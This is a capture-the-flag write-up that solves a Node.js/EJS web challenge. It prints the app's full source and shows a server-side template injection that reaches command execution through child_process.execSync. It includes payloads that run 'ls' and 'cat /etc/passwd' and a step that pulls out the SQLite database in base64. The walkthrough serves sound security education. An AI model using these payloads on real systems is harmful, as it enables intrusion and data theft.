This is my writeup for the MetaCTF December flash competition’s “Checking It Twice” challenge. This was a web exploitation challenge that provided source code in the form of a dockerized application, as well as a hosted web application that uses the provided source code.

Description

A certain megacorporation has demonstrated a desire to steal Santa’s Naughty and Nice list, and hearing that fact, Mr Claus is quite concerned! He has tasked you with pentesting his web presence to see if it really would be possible to steal the list. Lucky for you, Santa has already created a quick portal to check someone’s status. Unfortunately, you can only view results one name at a time. We need you to figure out how to steal the whole list—or at least demonstrate that you can.

Download the source code for the website here.

Access the challenge at http://host5.metaproblems.com:7604/

Solve

Upon initial inspection of the application, not much seems to be happening here. It simply accepts a name, and returns whether or not that name is on the nice list or the naughty list.

006-testtest.png

No matter the input, it will always return an answer as to which list a given name is on. It expects a comma-separated name like “Claus, Santa”, and if you don’t include a comma it will return the following error message shown below.

006-test.png

Seeing as they have provided us with source code, it’s likely that we’re not seeing the whole picture as to what this application does or how it behaves.

I look around the provided source code, and it’s clear that there are two relevant files here: app.js and db.js. But first, let’s run grep to check if there’s any mention of the word ‘flag’.

  checking grep -ir 'flag'        
grep: checking_it_twice.zip: binary file matches
Dockerfile:COPY flag.txt flag.txt
package-lock.json:    "node_modules/has-flag": {
package-lock.json:      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
package-lock.json:        "has-flag": "^4.0.0"
flag.js:function readFlag() {
flag.js:    const data = fs.readFileSync('flag.txt', 'utf8');
flag.js:function deleteFlag() {
flag.js:      fs.unlinkSync('flag.txt');
flag.js:      console.log(`File flag.txt deleted successfully`);
flag.js:    readFlag,
flag.js:    deleteFlag,
db.js:const flag = require("./flag.js");
db.js:    const flag_string = flag.readFlag();
db.js:        { first_name: flag_string.slice(0,14), last_name: flag_string.slice(14), nice: true, naughty: false }
db.js:    flag.deleteFlag();

So just from a simple grep command, we’re able to get a general idea of how the flag is being handled in this application. Let’s take a closer look at our local copy of flag.js.

const fs = require('fs');
const process = require('process');

function readFlag() {
  try {
    const data = fs.readFileSync('flag.txt', 'utf8');
    return data;
  } catch (error) {
    process.exit(1);
  }
}

function deleteFlag() {
    try {
      fs.unlinkSync('flag.txt');
      console.log(`File flag.txt deleted successfully`);
      return true;
    } catch (error) {
        process.exit(1);
    }
  }

module.exports = {
    readFlag,
    deleteFlag,
  };

Cool. So now we know that the readFlag function returns a string holding the contents of the flag.txt file, and the deleteFlag function deletes the flag.txt file from disk. The file also exports these functions to be used in other files, and we see in the grep output above that they’re used in db.js . Logically, this should be the next place to look.

const Database = require('better-sqlite3');
const path = require('path');
const flag = require("./flag.js");

const dbPath = path.resolve(__dirname, 'santas-list.db');

const db = new Database(dbPath, { 
    verbose: console.log,
});

const createTableStmt = db.prepare(`
    CREATE TABLE IF NOT EXISTS santas_list (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        first_name TEXT NOT NULL,
        last_name TEXT NOT NULL,
        nice BOOLEAN NOT NULL,
        naughty BOOLEAN NOT NULL
    )
`);
createTableStmt.run();

function seedDatabase() {
    const flag_string = flag.readFlag();
    const seedData = [
        { first_name: 'nick', last_name: 'kringle', nice: true, naughty: false },
        { first_name: 'holly', last_name: 'wreath', nice: true, naughty: false },
        { first_name: 'jingle', last_name: 'bell', nice: true, naughty: false },
        { first_name: 'noelle', last_name: 'winterberry', nice: true, naughty: false },
        { first_name: 'buddy', last_name: 'elf', nice: true, naughty: false },
        { first_name: 'tinsel', last_name: 'sparkle', nice: true, naughty: false },
        { first_name: 'grinch', last_name: 'whoville', nice: false, naughty: true },
        { first_name: 'krampus', last_name: 'claus', nice: false, naughty: true },
        { first_name: 'ebenezer', last_name: 'scrooge', nice: false, naughty: true },
        { first_name: 'jack', last_name: 'frost', nice: false, naughty: true },
        { first_name: 'randolf', last_name: 'renegade', nice: false, naughty: true },
        { first_name: 'coal', last_name: 'stuffer', nice: false, naughty: true },
        { first_name: 'rudolph', last_name: 'reindeer', nice: true, naughty: true },
        { first_name: 'frosty', last_name: 'snowman', nice: true, naughty: true },
        { first_name: 'mrs', last_name: 'claus', nice: true, naughty: false },
        { first_name: 'alabaster', last_name: 'snowball', nice: true, naughty: false },
        { first_name: flag_string.slice(0,14), last_name: flag_string.slice(14), nice: true, naughty: false }
    ];

    flag.deleteFlag();

  const insertStmt = db.prepare(`
    INSERT OR IGNORE INTO santas_list (first_name, last_name, nice, naughty) 
    VALUES (@first_name, @last_name, @nice, @naughty)
  `);

  const insertMany = db.transaction((people) => {
    for (const person of people) {
      insertStmt.run({
        first_name: person.first_name,
        last_name: person.last_name,
        nice: person.nice ? 1 : 0,
        naughty: person.naughty ? 1 : 0
      });
    }
  });
  insertMany(seedData);
}

try {
  seedDatabase();
} catch (error) {
  console.log('Database already seeded or seeding error:', error);
}

function checkNiceStatus(firstName, lastName) {
  const stmt = db.prepare(`
    SELECT nice, naughty 
    FROM santas_list 
    WHERE first_name = ? AND last_name = ?
  `);

  const row = stmt.get(firstName, lastName);

  if (!row) {
    return {
      found: false,
      nice: null,
      naughty: null,
    };
  }

  return {
    found: true,
    nice: !!row.nice,
    naughty: !!row.naughty,
  };
}

function addToList(firstName, lastName, nice, naughty) {
  const stmt = db.prepare(`
    INSERT INTO santas_list (first_name, last_name, nice, naughty) 
    VALUES (?, ?, ?, ?)
  `);

  const info = stmt.run(
    firstName, 
    lastName, 
    nice ? 1 : 0, 
    naughty ? 1 : 0
  );

  return {
    nice,
    naughty
  };
}

function queryDb(query) {
  const stmt = db.prepare(query);
  return stmt.all();
}

function closeDatabase() {
  db.close();
}

module.exports = {
  checkNiceStatus,
  addToList,
  queryDb,
  closeDatabase
};

That’s a fair bit of code to dump out on your screen, but I think it’s better for learning when you see the whole thing and try to investigate as you would in the actual challenge. We can see that the flag is initialized in the SQLite database as a person within the santas_list table. At this point, alarm bells are sounding for an SQL Injection, but we first need to see the app.js file to complete our picture of this application.

const express = require('express');
const app = express();
const path = require('path');
const ejs = require('ejs');
const db = require('./db');

app.set('view engine', 'ejs');
app.use(express.static(path.join(__dirname, 'public')));
app.use(express.urlencoded({ extended: true }));

let mode = 'nice';

const message_template = "<%= name %> is on the <%= result %> list!"

app.get('/', (req, res) => {
    const theme = mode === 'nice' ? { title: 'Nice List Search', color: '#DFFFD6' } : { title: 'Naughty List Search', color: '#2E2E2E' };
    res.render('index', { theme, result: undefined });
});

app.post('/search', (req, res) => {
    const name = req.body.name?.split(',');
    if (name == undefined || name.length < 2) {
        res.render('index', {
            theme: mode === 'nice' ? { title: 'Nice List Search', color: '#DFFFD6' } : { title: 'Naughty List Search', color: '#2E2E2E' },
            result: true,
            message: ejs.render(`${name} is invalid, format must be first name, last name.`),
        });
        return
    }
    const first_name = name[0].toLowerCase().trim()
    const last_name = name[1].toLowerCase().trim()
    let status = db.checkNiceStatus(first_name, last_name)
    if (!status.found) {
        status = mode == 'nice' ? db.addToList(first_name,last_name,true, false) : db.addToList(first_name,last_name,false, true)
    }
    const result = mode == "nice" ? status.nice : status.naughty
    res.render('index', {
        theme: mode === 'nice' ? { title: 'Nice List Search', color: '#DFFFD6' } : { title: 'Naughty List Search', color: '#2E2E2E' },
        result: result,
        message: ejs.render(message_template, {
            result: mode,
            name: first_name
        }),
    });
});

app.get('/toggle', (req, res) => {
    mode = mode === 'nice' ? 'naughty' : 'nice';
    res.redirect('/');
});

app.listen(8080, () => {
    console.log('Server running at http://localhost:8080');
});

In this file we see three API endpoints defined: /, /search and /toggle. The search endpoint looks interesting, and that’s because it’s the only endpoint that behaves any differently based on the input we provide. We also see the use of the EJS templating engine, which should cause a different set of alarm bells to sound: Server-Side Template Injection! If we can find a way to get our input (the name parameter) to be rendered as an EJS template, we’re in business. And it looks like that’s possible with the following invocation of EJS.

res.render('index', {
    theme: mode === 'nice' ? { title: 'Nice List Search', color: '#DFFFD6' } : { title: 'Naughty List Search', color: '#2E2E2E' },
    result: true,
    message: ejs.render(`${name} is invalid, format must be first name, last name.`),
});

Notice how the name parameter gets first injected into a string, and then that string gets passed into ejs.render. This means that we can pass in a template, such as “<%= name %>” as shown above, and it should be treated as JavaScript!

Let’s try this out on the live application.

006-name.png

006-nameerror.png

That’s a good sign! We get an error that name is not defined, telling us that it was interpreted as JavaScript! At this point I tried to see if I was able to access the db object within this context, as a simple call to db.executeQuery would send me on my way to the next challenge, though it didn’t appear to be that easy. The problem is that EJS templates run in a sandbox unless you give them explicit control over other objects, as was shown in the following block:

res.render('index', {
    theme: mode === 'nice' ? { title: 'Nice List Search', color: '#DFFFD6' } : { title: 'Naughty List Search', color: '#2E2E2E' },
    result: result,
    message: ejs.render(message_template, {
        result: mode,
        name: first_name
    }),
});

This allowed the result and name variables to be defined when rendering. Unfortunately, we can’t do anything with the db object, but what we can do is run system commands with the following payload.

process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()

In case you’re wondering where I found this, the answer is HackTricks. Search for SSTI and be sure to bookmark the site when you’re done. Now let’s try passing this in as the name within the application.

<%= process.mainModule.require('child_process').execSync('ls').toString() %>

006-caidols.png

Within the Caido output above, we see that our payload successfully output a file listing in place of the name! We can see the santas-list.db file right there, but how do we get its secrets? I first checked to see if sqlite3 was installed by modifying the payload to run which sqlite3, but it wasn’t installed. Since this file is most likely pretty small, let’s just see if we can base64 encode it and copy the output to our local machine.

006-base64.png

006-caidobase64.png

Looks like we can! Now we just need to decode this base64 back into the original SQLite DB file and we should be able to query it.

echo -n 'U1FMaXRlIGZvcm1hdCAzABAAAQEAQCAgAA <SNIP> xpc3R1' | base64 -d > santas-list.db

006-checkfile.png

006-flag.png

And there is the flag at entry 17. We also see a bunch of other inputs from players attempting the challenge. :)